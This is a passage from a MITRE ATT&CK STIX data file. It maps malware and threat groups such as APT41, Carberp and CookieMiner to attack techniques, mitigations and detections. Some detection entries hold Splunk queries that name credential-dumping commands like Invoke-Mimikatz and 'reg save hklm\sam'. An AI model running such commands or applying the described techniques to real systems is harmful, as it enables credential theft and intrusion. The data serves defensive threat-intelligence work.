2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22a1c738-6d0f-4abd-b00c-ee0b37ba1db6","type":"relationship","created":"2021-11-12T19:30:36.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2021-11-12T19:30:36.054Z","description":"[Diavol](https://attack.mitre.org/software/S0659) has a command to traverse the files and directories in a given path.(Citation: Fortinet Diavol July 2021) ","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22a54751-c1f2-498a-bae0-fa4736c86bf5","type":"relationship","created":"2020-03-12T18:59:53.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-03-12T18:59:53.783Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) persists via a Launch Agent.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--22a59466-1502-431a-a2c7-a8cb09928a74","created":"2022-04-19T16:45:00.890Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can download additional files onto a compromised host.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-19T16:45:00.890Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22a699a2-ad75-470e-87c9-9ec8f9763e8e","type":"relationship","created":"2021-06-30T19:45:34.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T19:45:34.421Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can discover logical drive information including the drive type, free space, and volume information.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Camba RARSTONE","description":"Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/"}],"modified":"2020-03-16T19:06:33.100Z","description":"After decrypting itself in memory, [RARSTONE](https://attack.mitre.org/software/S0055) downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This “downloaded” file is actually not dropped onto the system.(Citation: Camba RARSTONE)","relationship_type":"uses","source_ref":"malware--8c553311-0baa-4146-997a-f79acef3d831","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22af1cbd-a7fd-4d9f-ba15-d640c217603e","created":"2019-09-23T23:18:23.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"apt41_mandiant","description":"Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:31:00.147Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a variant of [PlugX](https://attack.mitre.org/software/S0013) to connect to Windows and Linux systems via SSH and Samba/CIFS.(Citation: apt41_mandiant)(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22b9eb17-686a-4cfe-b9a1-cffe22c7755f","type":"relationship","created":"2021-01-20T18:10:33.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 1","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}],"modified":"2021-05-04T16:56:40.214Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) retrieves the hard disk name by calling the CreateFileA to \\\\.\\PHYSICALDRIVE0 API.(Citation: Trend Micro KillDisk 1)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22ba966c-e07e-4718-821c-4a57fe3705ad","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:36:30.235Z","description":"Monitor executed commands and arguments for actions that could be taken to create/modify tasks. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nAnalytic 1 - Linux Command Execution \n\n index=linux_logs sourcetype=syslog \"at\" \n| rex \"user=(?\\w+)\"\n\n\nAnalytic 2 - Windows Command Execution \n index=windows_logs sourcetype=WinEventLog:System EventCode=4698 TaskName=\"at*\"\n| where NOT (user=\"SYSTEM\" AND TaskName=\"\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22c42efe-5bbe-464a-82de-0cb2f032bf9a","created":"2024-07-29T22:40:48.940Z","revoked":false,"external_references":[{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:40:48.940Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) registered and hosted domains to allow for creation of web pages mimicking legitimate government email logon sites to collect logon information.(Citation: SentinelOne WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22c5d62b-40cd-4dce-9b6d-7836b67ee7f5","type":"relationship","created":"2020-01-24T15:06:36.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:06:36.002Z","relationship_type":"revoked-by","source_ref":"attack-pattern--62166220-e498-410f-a90a-19d4339d4e99","target_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22c8877f-3819-4345-8a42-45f2192c086a","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2019-12-20T14:26:01.168Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used pass the hash for lateral movement.(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22ce2c93-ecd6-4627-b3f0-6f7476754c79","type":"relationship","created":"2020-03-13T18:11:08.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-26T18:37:04.089Z","description":"Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22d01548-0512-4acb-a386-51ec7a822329","type":"relationship","created":"2020-10-21T02:14:05.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-21T02:14:05.494Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has used the curl --upload-file command to exfiltrate data over HTTP.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22d01d2c-6c2e-4e59-98ac-393aef16ffe3","type":"relationship","created":"2021-11-24T20:17:35.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T20:17:35.747Z","description":"(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22d11711-5794-42aa-a9c5-02895fe3420d","type":"relationship","created":"2019-06-24T13:52:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-22T16:13:35.051Z","description":"Update software regularly by employing patch management for internal enterprise endpoints and servers.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22da85ee-6ef2-490b-9850-41be8a9b3860","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:54:50.861Z","description":"Monitor executed commands and arguments that may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored.\n\nAnalytic 1 - Unauthorized attempts to dump SAM database through command execution.\n\n index=security sourcetype=\"Powershell\" EventCode=4104 Image=\"*powershell.exe\" CommandLine IN (\"*Invoke-Mimikatz*\", \"*Invoke-SAMDump*\", \"*reg save hklm\\\\sam*\", \"*reg.exe save hklm\\\\sam*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22dd54d0-4285-444a-9bbd-ce3b3bd81b67","type":"relationship","created":"2020-09-30T17:09:31.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-30T17:09:31.964Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22de39b7-5d1c-4d44-b63c-36cf14a9c90d","created":"2020-08-03T15:14:17.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.251Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has hooked several Windows API functions to steal credentials.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22dfe85e-3eeb-4b0a-ac61-b80f70a1f092","type":"relationship","created":"2019-10-05T02:15:29.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Azure Storage Security, 2019","url":"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide","description":"Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."},{"source_name":"Amazon S3 Security, 2019","url":"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/","description":"Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."},{"source_name":"Amazon AWS Temporary Security Credentials","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html","description":"Amazon. (n.d.). Temporary Security Credentials. Retrieved October 18, 2019."}],"modified":"2020-07-09T14:02:05.406Z","description":"Configure user permissions groups and roles for access to cloud storage.(Citation: Microsoft Azure Storage Security, 2019) Implement strict Identity and Access Management (IAM) controls to prevent access to storage solutions except for the applications, users, and services that require access.(Citation: Amazon S3 Security, 2019) Ensure that temporary access tokens are issued rather than permanent credentials, especially when access is being granted to entities outside of the internal security boundary.(Citation: Amazon AWS Temporary Security Credentials)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22e22e70-7544-40b9-838a-e06b560f51a7","created":"2024-07-08T17:52:01.895Z","revoked":false,"external_references":[{"source_name":"ORB APT31","description":"Cimpanu, Catalin. (2021, July 20). Chinese hacking group APT31 uses mesh of home routers to disguise attacks. Retrieved July 8, 2024.","url":"https://therecord.media/chinese-hacking-group-apt31-uses-mesh-of-home-routers-to-disguise-attacks"},{"source_name":"ORB Mandiant","description":"Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-08T17:52:01.895Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has compromised network devices such as small office and home office (SOHO) routers and IoT devices for ORB (operational relay box) [Proxy](https://attack.mitre.org/techniques/T1090) networks.(Citation: ORB APT31)(Citation: ORB Mandiant) ","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22e606f5-4130-4de8-984b-cfabcf5fc21c","type":"relationship","created":"2020-02-25T19:00:52.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-25T19:00:52.356Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22e84b06-fbac-4811-b9b7-3c6587aab7d7","type":"relationship","created":"2020-11-06T18:40:38.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.212Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can collect data from a local system.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22e8b7b4-7e5f-45a8-a935-c4cc7da638f2","type":"relationship","created":"2020-02-11T18:29:47.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:29:47.836Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22e9c279-0cb2-4ad1-85b2-37826f20db1f","type":"relationship","created":"2022-02-02T15:55:21.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:55:21.765Z","description":"(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--22e9d049-aa86-46d3-a2a4-f5ae6e0cc2d8","created":"2022-06-09T19:30:23.717Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has attempted to bypass UAC using `fodhelper.exe` to escalate privileges.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:30:23.717Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22ece51b-ebfa-474d-8a6e-6835ff891890","created":"2024-05-22T22:11:36.496Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:11:36.496Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used the tool [NBTscan](https://attack.mitre.org/software/S0590) to scan for remote, accessible hosts in victim environments.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22fac24b-a5a4-45ef-b6c4-0247a877b23a","created":"2024-09-04T17:16:41.790Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:16:41.790Z","description":"[Covenant](https://attack.mitre.org/software/S1155) listeners and controllers can be configured to use non-standard ports.(Citation: Github 